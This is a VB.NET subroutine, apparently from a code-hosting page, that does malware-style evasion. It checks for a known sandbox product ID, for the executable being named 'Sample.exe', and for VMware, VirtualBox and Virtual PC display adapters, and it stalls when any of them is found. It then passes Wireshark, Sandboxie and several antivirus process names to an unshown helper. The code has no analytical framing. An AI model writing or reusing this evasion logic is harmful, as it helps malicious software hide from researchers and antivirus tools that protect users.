59 lines
1.6 KiB
Plaintext
59 lines
1.6 KiB
Plaintext
|
Shared Sub AT
|
||
|
|
Dim id As String = "76487-337-8429955-22614"
|
||
|
|
|
||
|
|
Dim regPID As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion", False)
|
||
|
|
|
||
|
|
Dim pid As Object = regPID.GetValue("ProductId")
|
||
|
|
|
||
|
|
Dim D As Object, R As String = Nothing, B As String = "SELECT * FROM Win32_VideoController"
|
||
|
|
|
||
|
|
D = GetObject("winmgmts:").ExecQuery(B)
|
||
|
|
|
||
|
|
Dim AdaptList As Object
|
||
|
|
|
||
|
|
For Each AdaptList In D
|
||
|
|
|
||
|
|
R = AdaptList.Description
|
||
|
|
|
||
|
|
Next
|
||
|
|
|
||
|
|
If System.Windows.Forms.Application.ExecutablePath = System.Windows.Forms.Application.StartupPath & "\Sample.exe" Then
|
||
|
|
|
||
|
|
System.Threading.Thread.Sleep(10000)
|
||
|
|
|
||
|
|
End If
|
||
|
|
|
||
|
|
If pid = id Then
|
||
|
|
|
||
|
|
System.Threading.Thread.Sleep(10000)
|
||
|
|
|
||
|
|
End If
|
||
|
|
|
||
|
|
A("wireshark")
|
||
|
|
|
||
|
|
Select Case R
|
||
|
|
|
||
|
|
Case "VM Additions S3 Trio32/64"
|
||
|
|
|
||
|
|
System.Threading.Thread.Sleep(10000)
|
||
|
|
|
||
|
|
Case "VirtualBox Graphics Adapter"
|
||
|
|
|
||
|
|
System.Threading.Thread.Sleep(10000)
|
||
|
|
|
||
|
|
Case "VMware SVGA II"
|
||
|
|
|
||
|
|
System.Threading.Thread.Sleep(10000)
|
||
|
|
|
||
|
|
End Select
|
||
|
|
|
||
|
|
A("SbieSvc")
|
||
|
|
|
||
|
|
A("avp")
|
||
|
|
|
||
|
|
A("avgnt")
|
||
|
|
|
||
|
|
A("ashServ")
|
||
|
|
|
||
|
|
A("avgtray")
|
||
|
|
End Sub
|